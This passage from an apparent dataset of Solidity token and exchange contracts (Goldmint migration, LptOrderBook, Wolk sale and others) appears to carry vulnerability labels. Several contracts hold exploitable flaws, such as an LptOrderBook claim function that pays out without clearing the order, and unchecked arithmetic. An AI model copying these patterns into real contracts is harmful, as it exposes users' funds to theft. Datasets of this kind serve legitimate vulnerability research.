}
uint sendThis = safeSub(_value,fee);
return super.transferFrom(_from, _to, sendThis);
}
function transferRewardWithoutFee(address _to, uint _value) public onlyMigration onlyPayloadSize(2*32) {
require(0x0!=_to);
balances[migrationAddress] = safeSub(balances[migrationAddress],_value);
balances[_to] = safeAdd(balances[_to],_value);
Transfer(migrationAddress, _to, _value);
}
function rescueAllRewards(address _to) public onlyCreator {
require(0x0!=_to);
uint totalReward = balances[migrationAddress];
balances[_to] = safeAdd(balances[_to],totalReward);
balances[migrationAddress] = 0;
Transfer(migrationAddress, _to, totalReward);
}
function getTotalIssued() public constant returns (uint) {
return totalIssued;
}
function getTotalBurnt() public constant returns (uint) {
return totalBurnt;
}
}
contract IMNTP is StdToken {
function lockTransfer(bool _lock);
function issueTokens(address _who, uint _tokens);
function burnTokens(address _who, uint _tokens);
}
contract GoldmintMigration is CreatorEnabled {
IMNTP public mntpToken;
Gold public goldToken;
enum State {
Init,
MigrationStarted,
MigrationPaused,
MigrationFinished
}
State public state = State.Init;
uint public mntpToMigrateTotal = 0;
uint public migrationRewardTotal = 0;
uint64 public migrationStartedTime = 0;
uint64 public migrationFinishedTime = 0;
struct Migration {
address ethAddress;
string gmAddress;
uint tokensCount;
bool migrated;
uint64 date;
string comment;
}
mapping (uint=>Migration) public mntpMigrations;
mapping (address=>uint) public mntpMigrationIndexes;
uint public mntpMigrationsCount = 0;
mapping (uint=>Migration) public goldMigrations;
mapping (address=>uint) public goldMigrationIndexes;
uint public goldMigrationsCount = 0;
event MntpMigrateWanted(address _ethAddress, string _gmAddress, uint256 _value);
event MntpMigrated(address _ethAddress, string _gmAddress, uint256 _value);
event GoldMigrateWanted(address _ethAddress, string _gmAddress, uint256 _value);
event GoldMigrated(address _ethAddress, string _gmAddress, uint256 _value);
function getMntpMigration(uint index) public constant returns(address,string,uint,bool,uint64,string){
Migration memory mig = mntpMigrations[index];
return (mig.ethAddress, mig.gmAddress, mig.tokensCount, mig.migrated, mig.date, mig.comment);
}
function getGoldMigration(uint index) public constant returns(address,string,uint,bool,uint64,string){
Migration memory mig = goldMigrations[index];
return (mig.ethAddress, mig.gmAddress, mig.tokensCount, mig.migrated, mig.date, mig.comment);
}
function GoldmintMigration(address _mntpContractAddress, address _goldContractAddress) public {
creator = msg.sender;
require(_mntpContractAddress != 0);
require(_goldContractAddress != 0);
mntpMigrationIndexes[address(0x0)] = 0;
goldMigrationIndexes[address(0x0)] = 0;
mntpToken = IMNTP(_mntpContractAddress);
goldToken = Gold(_goldContractAddress);
}
function lockMntpTransfers(bool _lock) public onlyCreator {
mntpToken.lockTransfer(_lock);
}
function lockGoldTransfers(bool _lock) public onlyCreator {
goldToken.lockTransfer(_lock);
}
function startMigration() public onlyCreator {
require((State.Init == state) || (State.MigrationPaused == state));
if (State.Init == state) {
goldToken.startMigration();
migrationRewardTotal = goldToken.balanceOf(this);
migrationStartedTime = uint64(now);
mntpToMigrateTotal = mntpToken.totalSupply();
}
state = State.MigrationStarted;
}
function pauseMigration() public onlyCreator {
require((state == State.MigrationStarted) || (state == State.MigrationFinished));
state = State.MigrationPaused;
}
function finishMigration() public onlyCreator {
require((State.MigrationStarted == state) || (State.MigrationPaused == state));
if (State.MigrationStarted == state) {
goldToken.finishMigration();
migrationFinishedTime = uint64(now);
}
state = State.MigrationFinished;
}
function destroyMe() public onlyCreator {
selfdestruct(msg.sender);
}
function migrateMntp(string _gmAddress) public {
require((state==State.MigrationStarted) || (state==State.MigrationFinished));
uint myBalance = mntpToken.balanceOf(msg.sender);
require(0!=myBalance);
uint myRewardMax = calculateMyRewardMax(msg.sender);
uint myReward = calculateMyReward(myRewardMax);
goldToken.transferRewardWithoutFee(msg.sender, myReward);
mntpToken.burnTokens(msg.sender,myBalance);
Migration memory mig;
mig.ethAddress = msg.sender;
mig.gmAddress = _gmAddress;
mig.tokensCount = myBalance;
mig.migrated = false;
mig.date = uint64(now);
mig.comment = '';
mntpMigrations[mntpMigrationsCount + 1] = mig;
mntpMigrationIndexes[msg.sender] = mntpMigrationsCount + 1;
mntpMigrationsCount++;
MntpMigrateWanted(msg.sender, _gmAddress, myBalance);
}
function isMntpMigrated(address _who) public constant returns(bool) {
uint index = mntpMigrationIndexes[_who];
Migration memory mig = mntpMigrations[index];
return mig.migrated;
}
function setMntpMigrated(address _who, bool _isMigrated, string _comment) public onlyCreator {
uint index = mntpMigrationIndexes[_who];
require(index > 0);
mntpMigrations[index].migrated = _isMigrated;
mntpMigrations[index].comment = _comment;
if (_isMigrated) {
MntpMigrated( mntpMigrations[index].ethAddress,
mntpMigrations[index].gmAddress,
mntpMigrations[index].tokensCount);
}
}
function migrateGold(string _gmAddress) public {
require((state==State.MigrationStarted) || (state==State.MigrationFinished));
uint myBalance = goldToken.balanceOf(msg.sender);
require(0!=myBalance);
goldToken.burnTokens(msg.sender,myBalance);
Migration memory mig;
mig.ethAddress = msg.sender;
mig.gmAddress = _gmAddress;
mig.tokensCount = myBalance;
mig.migrated = false;
mig.date = uint64(now);
mig.comment = '';
goldMigrations[goldMigrationsCount + 1] = mig;
goldMigrationIndexes[msg.sender] = goldMigrationsCount + 1;
goldMigrationsCount++;
GoldMigrateWanted(msg.sender, _gmAddress, myBalance);
}
function isGoldMigrated(address _who) public constant returns(bool) {
uint index = goldMigrationIndexes[_who];
Migration memory mig = goldMigrations[index];
return mig.migrated;
}
function setGoldMigrated(address _who, bool _isMigrated, string _comment) public onlyCreator {
uint index = goldMigrationIndexes[_who];
require(index > 0);
goldMigrations[index].migrated = _isMigrated;
goldMigrations[index].comment = _comment;
if (_isMigrated) {
GoldMigrated( goldMigrations[index].ethAddress,
goldMigrations[index].gmAddress,
goldMigrations[index].tokensCount);
}
}
function calculateMyRewardMax(address _of) public constant returns(uint){
if (0 == mntpToMigrateTotal) {
return 0;
}
uint myCurrentMntpBalance = mntpToken.balanceOf(_of);
if (0 == myCurrentMntpBalance) {
return 0;
}
return (migrationRewardTotal * myCurrentMntpBalance) / mntpToMigrateTotal;
}
function calculateMyRewardDecreased(uint _day, uint _myRewardMax) public constant returns(uint){
if (_day >= 365) {
return 0;
}
uint x = ((100 * 1000000000 * _day) / 365);
return (_myRewardMax * ((100 * 1000000000) - x)) / (100 * 1000000000);
}
function calculateMyReward(uint _myRewardMax) public constant returns(uint){
uint day = (uint64(now) - migrationStartedTime) / uint64(1 days);
return calculateMyRewardDecreased(day, _myRewardMax);
}
function() external payable {
revert();
}
} | 1 | 3,586 |
pragma solidity ^0.4.12;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Ripplecash is BurnableToken, Ownable {
string public constant name = "Ripple cash";
string public constant symbol = "RCC";
uint public constant decimals = 8;
uint256 public constant initialSupply = 370000000 * (10 ** uint256(decimals));
function Ripplecash() {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply;
}
} | 1 | 3,062 |
pragma solidity ^0.4.21;
contract Iscm {
address public owner;
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => bool) public frozenAccount;
event Transfer(address indexed from, address indexed to, uint256 value);
event FrozenFunds(address target, bool frozen);
function Iscm(uint256 initialSupply, string tokenName, string tokenSymbol) public{
owner = msg.sender;
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function transfer(address _to, uint _value) public{
address _from = msg.sender;
require(!frozenAccount[_from]);
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function freezeAccount(address target, bool freeze) public{
require(msg.sender == owner);
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
} | 1 | 4,152 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
interface IEntityStorage {
function storeBulk(uint256[] _tokenIds, uint256[] _attributes) external;
function store(uint256 _tokenId, uint256 _attributes, uint256[] _componentIds) external;
function remove(uint256 _tokenId) external;
function list() external view returns (uint256[] tokenIds);
function getAttributes(uint256 _tokenId) external view returns (uint256 attrs, uint256[] compIds);
function updateAttributes(uint256 _tokenId, uint256 _attributes, uint256[] _componentIds) external;
function totalSupply() external view returns (uint256);
}
contract Ownable {
address public owner;
address public newOwner;
address[] internal controllers;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyController() {
require(isController(msg.sender), "only Controller");
_;
}
modifier onlyOwnerOrController() {
require(msg.sender == owner || isController(msg.sender), "only Owner Or Controller");
_;
}
modifier onlyOwner() {
require(msg.sender == owner, "sender address must be the owner's address");
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(address(0) != _newOwner, "new owner address must not be the owner's address");
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner, "sender address must not be the new owner's address");
emit OwnershipTransferred(owner, msg.sender);
owner = msg.sender;
newOwner = address(0);
}
function isController(address _controller) internal view returns(bool) {
for (uint8 index = 0; index < controllers.length; index++) {
if (controllers[index] == _controller) {
return true;
}
}
return false;
}
function getControllers() public onlyOwner view returns(address[]) {
return controllers;
}
function addController(address _controller) public onlyOwner {
require(address(0) != _controller, "controller address must not be 0");
require(_controller != owner, "controller address must not be the owner's address");
for (uint8 index = 0; index < controllers.length; index++) {
if (controllers[index] == _controller) {
return;
}
}
controllers.push(_controller);
}
function removeController(address _controller) public onlyOwner {
require(address(0) != _controller, "controller address must not be 0");
for (uint8 index = 0; index < controllers.length; index++) {
if (controllers[index] == _controller) {
delete controllers[index];
}
}
}
}
contract CBCreatureStorage is Ownable, IEntityStorage {
using SafeMath for uint256;
struct Token {
uint256 tokenId;
uint256 attributes;
uint256[] componentIds;
uint index;
}
uint256[] internal allTokens;
mapping(uint256 => Token) internal tokens;
event Stored(uint256 tokenId, uint256 attributes, uint256[] componentIds);
event Removed(uint256 tokenId);
constructor() public {
}
function exists(uint256 _tokenId) public view returns (bool) {
return tokens[_tokenId].tokenId == _tokenId;
}
function storeBulk(uint256[] _tokenIds, uint256[] _attributes) external onlyOwnerOrController {
uint256[] memory _componentIds;
uint startIndex = allTokens.length;
for (uint index = 0; index < _tokenIds.length; index++) {
require(!this.exists(_tokenIds[index]));
allTokens.push(_tokenIds[index]);
tokens[_tokenIds[index]] = Token(_tokenIds[index], _attributes[index], _componentIds, startIndex + index);
emit Stored(_tokenIds[index], _attributes[index], _componentIds);
}
}
function store(uint256 _tokenId, uint256 _attributes, uint256[] _componentIds) external onlyOwnerOrController {
require(!this.exists(_tokenId));
allTokens.push(_tokenId);
tokens[_tokenId] = Token(_tokenId, _attributes, _componentIds, allTokens.length - 1);
emit Stored(_tokenId, _attributes, _componentIds);
}
function remove(uint256 _tokenId) external onlyOwnerOrController {
require(_tokenId > 0);
require(exists(_tokenId));
uint doomedTokenIndex = tokens[_tokenId].index;
delete tokens[_tokenId];
uint lastTokenIndex = allTokens.length.sub(1);
uint256 lastTokenId = allTokens[lastTokenIndex];
tokens[lastTokenId].index = doomedTokenIndex;
allTokens[doomedTokenIndex] = lastTokenId;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
emit Removed(_tokenId);
}
function list() external view returns (uint256[] tokenIds) {
return allTokens;
}
function getAttributes(uint256 _tokenId) external view returns (uint256 attrs, uint256[] compIds) {
require(exists(_tokenId));
return (tokens[_tokenId].attributes, tokens[_tokenId].componentIds);
}
function updateAttributes(uint256 _tokenId, uint256 _attributes, uint256[] _componentIds) external onlyOwnerOrController {
require(exists(_tokenId));
require(_attributes > 0);
tokens[_tokenId].attributes = _attributes;
tokens[_tokenId].componentIds = _componentIds;
emit Stored(_tokenId, _attributes, _componentIds);
}
function totalSupply() external view returns (uint256) {
return allTokens.length;
}
} | 1 | 3,303 |
pragma solidity ^0.5.2;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity ^0.5.7;
contract IController {
event SetContractInfo(bytes32 id, address contractAddress, bytes20 gitCommitHash);
function setContractInfo(bytes32 _id, address _contractAddress, bytes20 _gitCommitHash) external;
function updateController(bytes32 _id, address _controller) external;
function getContract(bytes32 _id) public view returns (address);
}
pragma solidity ^0.5.1;
contract IBondingManager {
function unbondingPeriod() public view returns (uint64);
}
pragma solidity ^0.5.1;
contract IRoundsManager {
function roundLength() public view returns (uint256);
}
pragma solidity ^0.5.7;
contract LptOrderBook {
using SafeMath for uint256;
address private constant ZERO_ADDRESS = address(0);
string internal constant ERROR_SELL_ORDER_COMMITTED_TO = "LPT_ORDER_SELL_ORDER_COMMITTED_TO";
string internal constant ERROR_SELL_ORDER_NOT_COMMITTED_TO = "LPT_ORDER_SELL_ORDER_NOT_COMMITTED_TO";
string internal constant ERROR_INITIALISED_ORDER = "LPT_ORDER_INITIALISED_ORDER";
string internal constant ERROR_UNINITIALISED_ORDER = "LPT_ORDER_UNINITIALISED_ORDER";
string internal constant ERROR_COMMITMENT_WITHIN_UNBONDING_PERIOD = "LPT_ORDER_COMMITMENT_WITHIN_UNBONDING_PERIOD";
string internal constant ERROR_NOT_BUYER = "LPT_ORDER_NOT_BUYER";
string internal constant ERROR_STILL_WITHIN_LOCK_PERIOD = "LPT_ORDER_STILL_WITHIN_LOCK_PERIOD";
struct LptSellOrder {
uint256 lptSellValue;
uint256 daiPaymentValue;
uint256 daiCollateralValue;
uint256 deliveredByBlock;
address buyerAddress;
}
IController livepeerController;
IERC20 daiToken;
mapping(address => LptSellOrder) public lptSellOrders;
constructor(address _livepeerController, address _daiToken) public {
livepeerController = IController(_livepeerController);
daiToken = IERC20(_daiToken);
}
function createLptSellOrder(uint256 _lptSellValue, uint256 _daiPaymentValue, uint256 _daiCollateralValue, uint256 _deliveredByBlock) public {
LptSellOrder storage lptSellOrder = lptSellOrders[msg.sender];
require(lptSellOrder.daiCollateralValue == 0, ERROR_INITIALISED_ORDER);
daiToken.transferFrom(msg.sender, address(this), _daiCollateralValue);
lptSellOrders[msg.sender] = LptSellOrder(_lptSellValue, _daiPaymentValue, _daiCollateralValue, _deliveredByBlock, ZERO_ADDRESS);
}
function cancelLptSellOrder() public {
LptSellOrder storage lptSellOrder = lptSellOrders[msg.sender];
require(lptSellOrder.buyerAddress == ZERO_ADDRESS, ERROR_SELL_ORDER_COMMITTED_TO);
daiToken.transfer(msg.sender, lptSellOrder.daiCollateralValue);
delete lptSellOrders[msg.sender];
}
function commitToBuyLpt(address _sellOrderCreator) public {
LptSellOrder storage lptSellOrder = lptSellOrders[_sellOrderCreator];
require(lptSellOrder.lptSellValue > 0, ERROR_UNINITIALISED_ORDER);
require(lptSellOrder.buyerAddress == ZERO_ADDRESS, ERROR_SELL_ORDER_COMMITTED_TO);
require(lptSellOrder.deliveredByBlock.sub(_getUnbondingPeriodLength()) > block.number, ERROR_COMMITMENT_WITHIN_UNBONDING_PERIOD);
daiToken.transferFrom(msg.sender, address(this), lptSellOrder.daiPaymentValue);
lptSellOrder.buyerAddress = msg.sender;
}
function claimCollateralAndPayment(address _sellOrderCreator) public {
LptSellOrder storage lptSellOrder = lptSellOrders[_sellOrderCreator];
require(lptSellOrder.buyerAddress == msg.sender, ERROR_NOT_BUYER);
require(lptSellOrder.deliveredByBlock < block.number, ERROR_STILL_WITHIN_LOCK_PERIOD);
uint256 totalValue = lptSellOrder.daiPaymentValue.add(lptSellOrder.daiCollateralValue);
daiToken.transfer(msg.sender, totalValue);
}
function fulfillSellOrder() public {
LptSellOrder storage lptSellOrder = lptSellOrders[msg.sender];
require(lptSellOrder.buyerAddress != ZERO_ADDRESS, ERROR_SELL_ORDER_NOT_COMMITTED_TO);
IERC20 livepeerToken = IERC20(_getLivepeerContractAddress("LivepeerToken"));livepeerToken.transferFrom(msg.sender, lptSellOrder.buyerAddress, lptSellOrder.lptSellValue);
uint256 totalValue = lptSellOrder.daiPaymentValue.add(lptSellOrder.daiCollateralValue);
daiToken.transfer(msg.sender, totalValue);
delete lptSellOrders[msg.sender];
}
function _getLivepeerContractAddress(string memory _livepeerContract) internal view returns (address) {
bytes32 contractId = keccak256(abi.encodePacked(_livepeerContract));
return livepeerController.getContract(contractId);
}
function _getUnbondingPeriodLength() internal view returns (uint256) {
IBondingManager bondingManager = IBondingManager(_getLivepeerContractAddress("BondingManager"));
uint64 unbondingPeriodRounds = bondingManager.unbondingPeriod();
IRoundsManager roundsManager = IRoundsManager(_getLivepeerContractAddress("RoundsManager"));
uint256 roundLength = roundsManager.roundLength();
return roundLength.mul(unbondingPeriodRounds);
}
} | 1 | 4,150 |
pragma solidity 0.4.25;
contract Token {
function totalSupply() constant returns (uint supply) {}
function balanceOf(address _owner) constant returns (uint balance) {}
function transfer(address _to, uint _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {}
function approve(address _spender, uint _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint remaining) {}
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract RegularToken is Token {
function transfer(address _to, uint _value) returns (bool) {
if (balances[msg.sender] >= _value && balances[_to] + _value >= balances[_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint _value) returns (bool) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value >= balances[_to]) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint) {
return allowed[_owner][_spender];
}
mapping (address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
uint public totalSupply;
}
contract UnboundedRegularToken is RegularToken {
uint constant MAX_UINT = 2**256 - 1;
function transferFrom(address _from, address _to, uint _value)
public
returns (bool)
{
uint allowance = allowed[_from][msg.sender];
if (balances[_from] >= _value
&& allowance >= _value
&& balances[_to] + _value >= balances[_to]
) {
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT) {
allowed[_from][msg.sender] -= _value;
}
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
}
contract GIFT is UnboundedRegularToken {
uint public totalSupply = 800*10**16;
uint8 constant public decimals = 8;
string constant public name = "GIFT";
string constant public symbol = "GIFT";
function GIFT() {
balances[msg.sender] = totalSupply;
Transfer(address(0), msg.sender, totalSupply);
}
} | 1 | 3,211 |
pragma solidity ^0.4.16;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract Owned {
address public owner;
address public newOwner;
modifier onlyOwner { assert(msg.sender == owner); _; }
event OwnerUpdate(address _prevOwner, address _newOwner);
function Owned() {
owner = msg.sender;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != owner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = 0x0;
}
}
contract ERC20 {
function totalSupply() constant returns (uint _totalSupply);
function balanceOf(address _owner) constant returns (uint balance);
function transfer(address _to, uint _value) returns (bool success);
function transferFrom(address _from, address _to, uint _value) returns (bool success);
function approve(address _spender, uint _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract ERC20Token is ERC20, SafeMath {
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalTokens;
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
var _allowance = allowed[_from][msg.sender];
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function totalSupply() constant returns (uint256) {
return totalTokens;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Wolk is ERC20Token, Owned {
string public constant name = "Wolk Protocol Token";
string public constant symbol = "WOLK";
uint256 public constant decimals = 18;
uint256 public reserveBalance = 0;
uint8 public constant percentageETHReserve = 15;
address public multisigWallet;
mapping (address => bool) settlers;
modifier onlySettler { assert(settlers[msg.sender] == true); _; }
address public wolkSale;
bool public allSaleCompleted = false;
bool public openSaleCompleted = false;
modifier isTransferable { require(allSaleCompleted); _; }
modifier onlyWolk { assert(msg.sender == wolkSale); _; }
event WolkCreated(address indexed _to, uint256 _tokenCreated);
event WolkDestroyed(address indexed _from, uint256 _tokenDestroyed);
event LogRefund(address indexed _to, uint256 _value);
}
contract WolkTGE is Wolk {
mapping (address => uint256) contribution;
mapping (address => uint256) presaleLimit;
mapping (address => bool) presaleContributor;
uint256 public constant tokenGenerationMin = 50 * 10**6 * 10**decimals;
uint256 public constant tokenGenerationMax = 150 * 10**6 * 10**decimals;
uint256 public presale_start_block;
uint256 public start_block;
uint256 public end_block;
function wolkGenesis(uint256 _presaleStartBlock, uint256 _startBlock, uint256 _endBlock, address _wolkWallet, address _wolkSale) onlyOwner returns (bool success){
require((totalTokens < 1) && (block.number <= _startBlock) && (_endBlock > _startBlock) && (_startBlock > _presaleStartBlock));
presale_start_block = _presaleStartBlock;
start_block = _startBlock;
end_block = _endBlock;
multisigWallet = _wolkWallet;
wolkSale = _wolkSale;
settlers[msg.sender] = true;
return true;
}
function addParticipant(address[] _presaleParticipants, uint256[] _contributionLimits) onlyOwner returns (bool success) {
require(_presaleParticipants.length == _contributionLimits.length);
for (uint cnt = 0; cnt < _presaleParticipants.length; cnt++){
presaleContributor[_presaleParticipants[cnt]] = true;
presaleLimit[_presaleParticipants[cnt]] = safeMul(_contributionLimits[cnt], 10**decimals);
}
return true;
}
function removeParticipant(address[] _presaleParticipants) onlyOwner returns (bool success){
for (uint cnt = 0; cnt < _presaleParticipants.length; cnt++){
presaleContributor[_presaleParticipants[cnt]] = false;
presaleLimit[_presaleParticipants[cnt]] = 0;
}
return true;
}
function participantBalance(address _participant) constant returns (uint256 remainingAllocation) {
return presaleLimit[_participant];
}
function tokenGenerationEvent(address _participant) payable external {
require( presaleContributor[_participant] && !openSaleCompleted && !allSaleCompleted && (block.number <= end_block) && msg.value > 0);
uint256 rate = 1000;
if ( totalTokens < (50 * 10**6 * 10**decimals) ) {
rate = 1177;
} else if ( totalTokens < (60 * 10**6 * 10**decimals) ) {
rate = 1143;
} else if ( totalTokens < (70 * 10**6 * 10**decimals) ) {
rate = 1111;
} else if ( totalTokens < (80 * 10**6 * 10**decimals) ) {
rate = 1081;
} else if ( totalTokens < (90 * 10**6 * 10**decimals) ) {
rate = 1053;
} else if ( totalTokens < (100 * 10**6 * 10**decimals) ) {
rate = 1026;
}else{
rate = 1000;
}
if ((block.number < start_block) && (block.number >= presale_start_block)) {
require(presaleLimit[_participant] >= msg.value);
presaleLimit[_participant] = safeSub(presaleLimit[_participant], msg.value);
} else {
require(block.number >= start_block) ;
}
uint256 tokens = safeMul(msg.value, rate);
uint256 checkedSupply = safeAdd(totalTokens, tokens);
require(checkedSupply <= tokenGenerationMax);
totalTokens = checkedSupply;
Transfer(address(this), _participant, tokens);
balances[_participant] = safeAdd(balances[_participant], tokens);
contribution[_participant] = safeAdd(contribution[_participant], msg.value);
WolkCreated(_participant, tokens);
}
function refund() external {
require((contribution[msg.sender] > 0) && (!allSaleCompleted) && (totalTokens < tokenGenerationMin) && (block.number > end_block));
uint256 tokenBalance = balances[msg.sender];
uint256 refundBalance = contribution[msg.sender];
balances[msg.sender] = 0;
contribution[msg.sender] = 0;
totalTokens = safeSub(totalTokens, tokenBalance);
WolkDestroyed(msg.sender, tokenBalance);
LogRefund(msg.sender, refundBalance);
msg.sender.transfer(refundBalance);
}
function finalizeOpenSale() onlyOwner {
require((!openSaleCompleted) && (totalTokens >= tokenGenerationMin));
openSaleCompleted = true;
end_block = block.number;
reserveBalance = safeDiv(safeMul(totalTokens, percentageETHReserve), 100000);
var withdrawalBalance = safeSub(this.balance, reserveBalance);
msg.sender.transfer(withdrawalBalance);
}
function finalize() onlyWolk payable external {
require((openSaleCompleted) && (!allSaleCompleted));
